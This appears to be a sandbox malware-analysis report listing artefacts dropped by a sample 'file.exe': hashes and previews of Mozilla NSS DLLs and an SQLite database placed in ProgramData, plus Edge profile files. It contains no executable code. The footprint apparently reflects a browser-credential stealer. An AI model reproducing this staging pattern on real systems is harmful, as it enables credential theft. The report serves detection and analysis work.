SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJECGCBGDBKJJKEBFBFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\04a23802-6acf-411a-adb7-4bad0dcc3e8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44773
Entropy (8bit):	6.094798416011376
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4x1uBKKGf4+HCOo/TAN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yOBN7VLyMV/YoskFoz
MD5:	3F23759F10FDC902B4FFD7782652C0DE
SHA1:	42F8B548C16C2CFAD7C05DD946AA1E3788E47159
SHA-256:	3873CF663984784FA14A92705CAD297815A04C6821EE3F0A9EB59A24FA5012D8
SHA-512:	102E7CA73D58988A3E762DE8D0760B82F67E43558DEF9FF51B264C0FEFFD7847732D2D7A227AB66CD9FED890B6FC27F370CAE9CBD586F388E0BAD379D1914B09
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0d272190-20e0-4526-b3d8-345cdabb124c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44695
Entropy (8bit):	6.094851976833888
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k1gBKKGf4sBcwEiURQN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynZN7VLyMV/YoskFoz
MD5:	7D7EB76E8018B5DBFC06921E80EFF955
SHA1:	A8EE6360BC47D40DC389152D0D625A607D83389D
SHA-256:	3F81D532926D82F24D17CAA5BDF4C4C8D5B0FD7171E0210CD3227C0CBB38CFBE
SHA-512:	ADF3F115182458B0D5A419E5D6C917E7D0D84E391D28B5C5B26D0B74B43D12D370DBCF9AB53481334A0F58043D7B3756FCD3ED7CD80855F0C10FB0C9061D8EC4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\12cef48a-ae21-4101-ade7-b66f5e3cf92d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44695
Entropy (8bit):	6.094851976833888
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k1gBKKGf4sBcwEiURQN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynZN7VLyMV/YoskFoz
MD5:	7D7EB76E8018B5DBFC06921E80EFF955
SHA1:	A8EE6360BC47D40DC389152D0D625A607D83389D
SHA-256:	3F81D532926D82F24D17CAA5BDF4C4C8D5B0FD7171E0210CD3227C0CBB38CFBE
SHA-512:	ADF3F115182458B0D5A419E5D6C917E7D0D84E391D28B5C5B26D0B74B43D12D370DBCF9AB53481334A0F58043D7B3756FCD3ED7CD80855F0C10FB0C9061D8EC4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\18924357-785b-4c8e-a549-c8f760fa910b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45875
Entropy (8bit):	6.0874668278286075
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5daUSKKKGf4+HCOo/TA9kVCioj7DRo+yM/42cRaLMos7l:mMk1rT8H1aF9aFoj7VLyMV/Yosp
MD5:	AA5A4C0FE31E33507B3D94F4E9CED0B6
SHA1:	FE4F9921A9A365CA758B74FCCFFAA6DE8E9D00E3
SHA-256:	96357173CE2FEC75CA364A93192F38C37E037339BEA69BD6CBC10A2FBF1ACABB
SHA-512:	9DAFA01DD93DCCEE5CEFD8BD4F2332513141A72343EF5F5952AC44B3D38EE7EE08D359C824EDD45DF0B25FDC5F11AD691BAC667FF5247334B6CE060FBA065A71
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"20428ac4-1748-4fca-b2f8-e4f491093eb7"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4dfecce9-132f-4789-a29a-aea7e1f048a1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45952
Entropy (8bit):	6.087413650995907
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5CaUSKKKGf4sHCOo/TA9kVCioj7DRo+yM/42cRaLMos7l:mMk1rT8H6aj9aFoj7VLyMV/Yosp
MD5:	B6626BF0776BFD7DE917BEAD75097CC6
SHA1:	757604932AE5913A3D16CC6D1471B7E3D33748AC
SHA-256:	577AF4978C4346920FF7EB6B224719CB54F4CA16DE265FE712E7AAD7B90FFC48
SHA-512:	3A05A341C6393D0504B168F6163BCD6446BE95FFF9EAAC3730B2615B826228BDCB3F26981F3FA5B7FA0B9E87B36B3C8DC3E2DFBA9328B714D2D0C958C7787E47
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"20428ac4-1748-4fca-b2f8-e4f491093eb7"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5f0e358e-1805-49ec-b5e4-df54586a14b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45952
Entropy (8bit):	6.087414197973154
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5CnUSKKKGf4sHCOo/TA9kVCioj7DRo+yM/42cRaLMos7l:mMk1rT8H6nj9aFoj7VLyMV/Yosp
MD5:	AB235C525C85189DCCD7E44728033C13
SHA1:	98ACC874FDCCAF7409897BC451EE61BA44AD095E
SHA-256:	8951AC4CD449D23B3A6D6F9E8E6B4D9A6285A75530AEE0084954460873F8B6E7
SHA-512:	24830C8670FE50E8F8C976DA086C2A9B56C853FBE3530BFCD8382EE7EB86CFD3CCDC1D6CA288D4C800B14A48F606CB59C0133F8E142FFE2C739A6D95D4BEF0D4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"20428ac4-1748-4fca-b2f8-e4f491093eb7"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\c7f40648-a0c1-487f-974c-1f30dbeed249.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
